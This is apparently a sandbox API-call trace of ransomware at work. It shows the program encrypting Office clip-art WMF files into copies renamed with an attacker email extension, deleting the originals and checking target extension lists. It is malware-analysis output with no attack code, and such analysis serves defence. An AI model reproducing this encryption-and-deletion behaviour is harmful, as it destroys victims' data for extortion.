	[0073.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.957] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1696) returned 1
	[0073.957] CloseHandle (hObject=0x2c0) returned 1
	[0073.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220
	[0073.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.957] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.957] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.958] GetLastError () returned 0x0
	[0073.958] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x6a0, lpOverlapped=0x0) returned 1
	[0073.960] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x6b0, lpOverlapped=0x0) returned 1
	[0073.961] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.961] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.961] SetEndOfFile (hFile=0x390) returned 1
	[0073.961] CloseHandle (hObject=0x390) returned 1
	[0073.962] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.962] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.963] CloseHandle (hObject=0x2c0) returned 1
	[0073.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1
	[0073.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.964] lstrlenW (lpString=".doc") returned 4
	[0073.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.964] lstrlenW (lpString=".docx") returned 5
	[0073.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.964] lstrlenW (lpString=".pdf") returned 4
	[0073.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.964] lstrlenW (lpString=".xls") returned 4
	[0073.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.964] lstrlenW (lpString=".xlsx") returned 5
	[0073.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.965] lstrlenW (lpString=".ppt") returned 4
	[0073.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.965] lstrlenW (lpString=".zip") returned 4
	[0073.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.965] lstrlenW (lpString=".rar") returned 4
	[0073.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.965] lstrlenW (lpString=".bz2") returned 4
	[0073.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.965] lstrlenW (lpString=".7z") returned 3
	[0073.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.965] lstrlenW (lpString=".dbf") returned 4
	[0073.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.965] lstrlenW (lpString=".1cd") returned 4
	[0073.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.965] lstrlenW (lpString=".jpg") returned 4
	[0073.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.965] lstrlenW (lpString=".doc") returned 4
	[0073.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.966] lstrlenW (lpString=".docx") returned 5
	[0073.966] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.966] lstrlenW (lpString=".pdf") returned 4
	[0073.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.966] lstrlenW (lpString=".xls") returned 4
	[0073.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.966] lstrlenW (lpString=".xlsx") returned 5
	[0073.966] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.966] lstrlenW (lpString=".ppt") returned 4
	[0073.966] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.966] lstrlenW (lpString=".zip") returned 4
	[0073.966] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.966] lstrlenW (lpString=".rar") returned 4
	[0073.966] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.966] lstrlenW (lpString=".bz2") returned 4
	[0073.966] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.966] lstrlenW (lpString=".7z") returned 3
	[0073.966] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.966] lstrlenW (lpString=".dbf") returned 4
	[0073.966] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.966] lstrlenW (lpString=".1cd") returned 4
	[0073.966] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0073.967] lstrlenW (lpString=".jpg") returned 4
	[0073.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.967] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.967] lstrlenW (lpString="BL00152_.WMF") returned 12
	[0073.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.967] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1516) returned 1
	[0073.967] CloseHandle (hObject=0x2c0) returned 1
	[0073.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220
	[0073.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.968] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.968] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.968] GetLastError () returned 0x0
	[0073.968] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x5ec, lpOverlapped=0x0) returned 1
	[0073.970] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x5f0, lpOverlapped=0x0) returned 1
	[0073.972] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.972] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.972] SetEndOfFile (hFile=0x390) returned 1
	[0073.972] CloseHandle (hObject=0x390) returned 1
	[0073.973] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.973] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.974] CloseHandle (hObject=0x2c0) returned 1
	[0073.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1
	[0073.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.975] lstrlenW (lpString=".doc") returned 4
	[0073.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.975] lstrlenW (lpString=".docx") returned 5
	[0073.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.975] lstrlenW (lpString=".pdf") returned 4
	[0073.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.975] lstrlenW (lpString=".xls") returned 4
	[0073.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.975] lstrlenW (lpString=".xlsx") returned 5
	[0073.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.975] lstrlenW (lpString=".ppt") returned 4
	[0073.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.976] lstrlenW (lpString=".zip") returned 4
	[0073.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.976] lstrlenW (lpString=".rar") returned 4
	[0073.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.976] lstrlenW (lpString=".bz2") returned 4
	[0073.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.976] lstrlenW (lpString=".7z") returned 3
	[0073.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.976] lstrlenW (lpString=".dbf") returned 4
	[0073.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.976] lstrlenW (lpString=".1cd") returned 4
	[0073.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.976] lstrlenW (lpString=".jpg") returned 4
	[0073.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.976] lstrlenW (lpString=".doc") returned 4
	[0073.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.976] lstrlenW (lpString=".docx") returned 5
	[0073.976] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.976] lstrlenW (lpString=".pdf") returned 4
	[0073.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.976] lstrlenW (lpString=".xls") returned 4
	[0073.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.976] lstrlenW (lpString=".xlsx") returned 5
	[0073.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.976] lstrlenW (lpString=".ppt") returned 4
	[0073.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.977] lstrlenW (lpString=".zip") returned 4
	[0073.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.977] lstrlenW (lpString=".rar") returned 4
	[0073.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.977] lstrlenW (lpString=".bz2") returned 4
	[0073.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.977] lstrlenW (lpString=".7z") returned 3
	[0073.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.977] lstrlenW (lpString=".dbf") returned 4
	[0073.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.977] lstrlenW (lpString=".1cd") returned 4
	[0073.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0073.977] lstrlenW (lpString=".jpg") returned 4
	[0073.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.977] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.977] lstrlenW (lpString="BL00194_.WMF") returned 12
	[0073.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.978] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3986) returned 1
	[0073.978] CloseHandle (hObject=0x2c0) returned 1
	[0073.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220
	[0073.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.978] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.978] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.978] GetLastError () returned 0x0
	[0073.978] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xf92, lpOverlapped=0x0) returned 1
	[0073.980] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0073.981] ReadFile (in: hFile=0x2c0, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.981] WriteFile (in: hFile=0x390, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.981] SetEndOfFile (hFile=0x390) returned 1
	[0073.982] CloseHandle (hObject=0x390) returned 1
	[0073.982] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.982] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.983] CloseHandle (hObject=0x2c0) returned 1
	[0073.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1
	[0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.988] lstrlenW (lpString=".doc") returned 4
	[0073.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.988] lstrlenW (lpString=".docx") returned 5
	[0073.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.988] lstrlenW (lpString=".pdf") returned 4
	[0073.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.988] lstrlenW (lpString=".xls") returned 4
	[0073.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.988] lstrlenW (lpString=".xlsx") returned 5
	[0073.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.988] lstrlenW (lpString=".ppt") returned 4
	[0073.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.988] lstrlenW (lpString=".zip") returned 4
	[0073.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.988] lstrlenW (lpString=".rar") returned 4
	[0073.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.988] lstrlenW (lpString=".bz2") returned 4
	[0073.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.988] lstrlenW (lpString=".7z") returned 3
	[0073.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.988] lstrlenW (lpString=".dbf") returned 4
	[0073.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.988] lstrlenW (lpString=".1cd") returned 4
	[0073.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.989] lstrlenW (lpString=".jpg") returned 4
	[0073.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.989] lstrlenW (lpString=".doc") returned 4
	[0073.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.989] lstrlenW (lpString=".docx") returned 5
	[0073.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.989] lstrlenW (lpString=".pdf") returned 4
	[0073.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.989] lstrlenW (lpString=".xls") returned 4
	[0073.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.989] lstrlenW (lpString=".xlsx") returned 5
	[0073.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.989] lstrlenW (lpString=".ppt") returned 4
	[0073.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.989] lstrlenW (lpString=".zip") returned 4
	[0073.989] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.989] lstrlenW (lpString=".rar") returned 4
	[0073.989] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.989] lstrlenW (lpString=".bz2") returned 4
	[0073.989] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.989] lstrlenW (lpString=".7z") returned 3
	[0073.989] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.989] lstrlenW (lpString=".dbf") returned 4
	[0073.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.990] lstrlenW (lpString=".1cd") returned 4
	[0073.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0073.990] lstrlenW (lpString=".jpg") returned 4
	[0073.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.990] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.990] lstrlenW (lpString="BL00195_.WMF") returned 12
